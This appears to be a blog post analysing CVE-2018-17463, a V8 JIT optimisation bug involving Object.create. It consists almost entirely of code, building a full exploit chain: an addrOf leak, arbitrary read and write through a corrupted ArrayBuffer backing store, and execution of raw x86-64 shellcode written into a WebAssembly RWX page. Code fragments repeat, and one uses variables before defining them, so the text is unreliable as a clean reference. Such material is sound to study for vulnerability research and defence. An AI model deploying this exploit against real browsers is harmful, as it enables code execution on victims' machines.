2020-07-28-CVE-2018-17463-IR优化漏洞分析

function foo(o) {
        return o.a + o.b;
}

CheckHeapObject o
    CheckMap o, map1
    r0 = Load [o + 0x18]

    CheckHeapObject o
    CheckMap o, map1
    r1 = Load [o + 0x20]

    r2 = Add r0, r1
    CheckNoOverflow
    Return r2

CheckHeapObject o
    CheckMap o, map1
    r0 = Load [o + 0x18]
    r1 = Load [o + 0x20]

    r2 = Add r0, r1
    CheckNoOverflow
    Return r2

let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);

let a = {x:1, y:2, z:3};
a.b = 4;
a.c = 5;
a.d = 6;

%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;
function check_vuln(){
	function hax(o) {
		// forced a map check
		o.inline; // 访问一次对象o，这样第二次才可能消除类型检查
		// change the map, but v8 think it has no side-effect
		Object.create(o);
		return o.outline;
	}
	for (let i=0; i<MAX_ITERATIONS; i++){
		let o = {inline: 0x6666};
		o.outline = 0x7777;
		if(hax(o) !== 0x7777) { // 经过hax函数，o已经变成hash无序状态，并且触发了优化的话，就按固定偏移访问o.outline，但o已经是hash无序状态，所以固定偏移上的数据已经不是0x7777了，此时我们并不知道是什么数据。
			return;
		}
	}
	throw "[-] Not vulnerable"
}
check_vuln();
print("[+] v8 version is vulnerable");

let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
%SystemBreak();

function makeObj(propertyValues) {
    let o = {inline: 0x1234};
    for (let i = 0; i < obj_len; i++) {
        Object.defineProperty(o, 'p' + i, {
            writable: true,
            value: propertyValues[i]
        });
    }
    return o;
}


function findoverlap(){
	let propertyNames = [];
	for(let i=0; i < obj_len; i++){
		propertyNames[i] = 'p' + i;
	}

	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
			return [${propertyNames.join(', ')}];
		}
	`);
	let p_Values = [];
	for(let i=1; i< obj_len; i++){
		p_Values[i] = -i;
	}
	for(let i=0; i< 10000; i++){
		let objs = makeObj(p_Values);
		let r = hax(objs);
		for(let j=1; j < r.length; j++){
			if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
				console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");	
				[p1, p2] = [j, -r[j]];
				return;
			}
		}
	}
	
	throw "not found collision ";
}

p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = {y1: obj};

function addrOf(obj)
{
	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			return o.p${p1}.x1;
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = {y1: obj};
	
	for(let i=0; i < 10000; i++){
		let objs = makeObj(p_Values);
		let leakAddr = hax(objs);
		if(leakAddr !== 23.33){
			return f2i(leakAddr) - 1;
		}
	}
	throw "addrOf failed!";
}

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);

function write_databuf(addr)
{
	eval(`
		function hax(o, addr){
			o.a;
			this.Object.create(o);
			o.p${p1}.x2 = addr; // 将目标地址覆盖ArrayBuffer->backing_store指针
			return o.p${p1}.x1; // 返回o.p1.x1 用于判断是否此时漏洞已经触发，这样才能保证o.p1.x2此时对应着data_buf->backing_store
			
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = data_buf;
	
	for(let i=0; i < 10000; i++){
		p_Values[p1] = {x1:23.33, x2: 33.44};
		let objs = makeObj(p_Values);
		let x1 = hax(objs, i2f(addr));
		if(x1 !== 23.33){
			return;
		}
	}
	throw "write_databuf failed!";
}

//----- arbitrary read

function dataview_read64(addr)
{
	write_databuf(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	write_databuf(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

let p1, p2;
let obj_len = 0x30;

function makeObj(propertyValues) {
    let o = {inline: 0x1234};
    for (let i = 0; i < obj_len; i++) {
        Object.defineProperty(o, 'p' + i, {
            writable: true,
            value: propertyValues[i]
        });
    }
    return o;
}

function findoverlap(){
	let propertyNames = [];
	for(let i=0; i < obj_len; i++){
		propertyNames[i] = 'p' + i;
	}

	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
			return [${propertyNames.join(', ')}];
		}
	`);
	let p_Values = [];
	for(let i=1; i< obj_len; i++){
		p_Values[i] = -i;
	}
	for(let i=0; i< 10000; i++){
		let objs = makeObj(p_Values);
		let r = hax(objs);
		for(let j=1; j < r.length; j++){
			if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
				console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");	
				[p1, p2] = [j, -r[j]];
				return;
			}
		}
	}
	
	throw "not found collision ";
}

findoverlap();

function addrOf(obj)
{
	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			return o.p${p1}.x1;
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = {y1: obj};
	
	for(let i=0; i < 10000; i++){
		let objs = makeObj(p_Values);
		let leakAddr = hax(objs);
		if(leakAddr !== 23.33){
			return f2i(leakAddr) - 1;
		}
	}
	throw "addrOf failed!";
}

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);

function write_databuf(addr)
{
	eval(`
		function hax(o, addr){
			o.a;
			this.Object.create(o);
			o.p${p1}.x2 = addr; 
			return o.p${p1}.x1;
			
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = data_buf;
	
	for(let i=0; i < 10000; i++){
		p_Values[p1] = {x1:23.33, x2: 33.44};
		let objs = makeObj(p_Values);
		let x1 = hax(objs, i2f(addr));
		if(x1 !== 23.33){
			return;
		}
	}
	throw "write_databuf failed!";
}

//----- arbitrary read

function dataview_read64(addr)
{
	write_databuf(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	write_databuf(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

//-----  find wasm_code_rwx_addr 

var wasm_function_addr = addrOf(wasm_function);
console.log("[+] wasm_function_addr: 0x" + hex(wasm_function_addr));	

var wasm_shared_info = dataview_read64(wasm_function_addr + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));

var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = dataview_read64(wasm_instance + -1 + 0xf0);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));

//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();